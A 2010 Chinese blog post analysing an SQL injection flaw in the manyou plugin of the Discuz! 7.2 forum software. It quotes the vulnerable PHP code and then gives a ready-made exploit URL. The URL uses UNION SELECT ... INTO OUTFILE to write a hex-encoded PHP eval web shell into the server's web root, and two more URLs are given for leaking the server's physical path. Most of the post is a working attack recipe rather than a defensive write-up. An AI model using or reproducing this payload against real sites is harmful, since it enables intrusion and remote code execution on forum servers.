 
	Discuz! v7.2 注入漏洞分析与利用(图)
发布:admin | 发布时间: 2010年3月12日在最新的discuz! 7.2中自带了一个新的应用程序插件manyou。恰恰在这个新插件中,没有对传入的参数进行检查,在GPC为off的情况下,导致注入漏洞的产生。 
漏洞分析: 
文件./manyou/sources/notice.php 
相关代码: 
if($option == 'del') { 
$appid = intval($_GET['appid']); 
$db->query("DELETE FROM {$tablepre}myinvite WHERE appid='$appid' AND touid='$discuz_uid'"); 
showmessage('manyou:done', 'userapp.php?script=notice&action=invite'); 
} elseif($option == 'deluserapp') { 
$hash = trim($_GET['hash']);    //此处并没有进行过滤,直接导致注入的产生 
if($action == 'invite') {     
$query = $db->query("SELECT * FROM {$tablepre}myinvite WHERE hash='$hash' AND touid='$discuz_uid'"); 
if($value = $db->fetch_array($query)) { 
$db->query("DELETE FROM {$tablepre}myinvite WHERE hash='$hash' AND touid='$discuz_uid'"); 
showmessage('manyou:done', 'userapp.php?script=notice&action=invite'); 
} else { 
showmessage('manyou:noperm'); 
} 
} else { 
$db->query("DELETE FROM {$tablepre}mynotice WHERE id='$hash' AND uid='$discuz_uid'"); 
showmessage('manyou:done', 'userapp.php?script=notice'); 
} 
} 
很简单的一个漏洞。在没有查询结果返回的情况下我们往往只有采取盲注的方式,但如果当前数据库帐号有File_priv的话我们也可以直接into outfile。 
/userapp.php?script=notice&view=all&option=deluserapp&action=invite&hash=' union select NULL,NULL,NULL,NULL,0x3C3F70687020406576616C28245F504F53545B274F275D293B3F3E,NULL,NULL,NULL,NULL into outfile 'C:/inetpub/wwwroot/shell.php'%23  
 
  
0x3C3F70687020406576616C28245F504F53545B274F275D293B3F3E是al($_POST['O']);?>的十六进制表示。 
但想  
into outfile的话,我们还得有web的物理路径,这在php的情况下并不难得到。 
/manyou/admincp.php?my_suffix=%0A%0DTOBY57  
 
/manyou/userapp.php?%0D%0A=TOBY57  
 
这样就事具备,只差outfile了。
文章如转载,请注明转载自:http://www.5iadmin.com/post/407.html
- 相关文章:
- 计算机检查漏洞方法和相应处理 (2010-2-12 18:58:39) - Discuz! version 5.0.0 suffers from a cross site scripting vulnerability EXP (2010-2-1 14:51:45) - 瑞星杀毒软件爆出高危漏洞 可被利用为“抓鸡工具” (2010-1-28 13:40:26) - WEB漏洞扫描利器—WVS (2010-1-17 11:19:41) 
- 1.蜻蜓笔记本
- http://www.qtdon.com/news/2010/0617/about-QT.html
- 有没有直接用工具的方法阿~
- 2010-6-21 9:09:16 回复该留言
发表评论
◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。







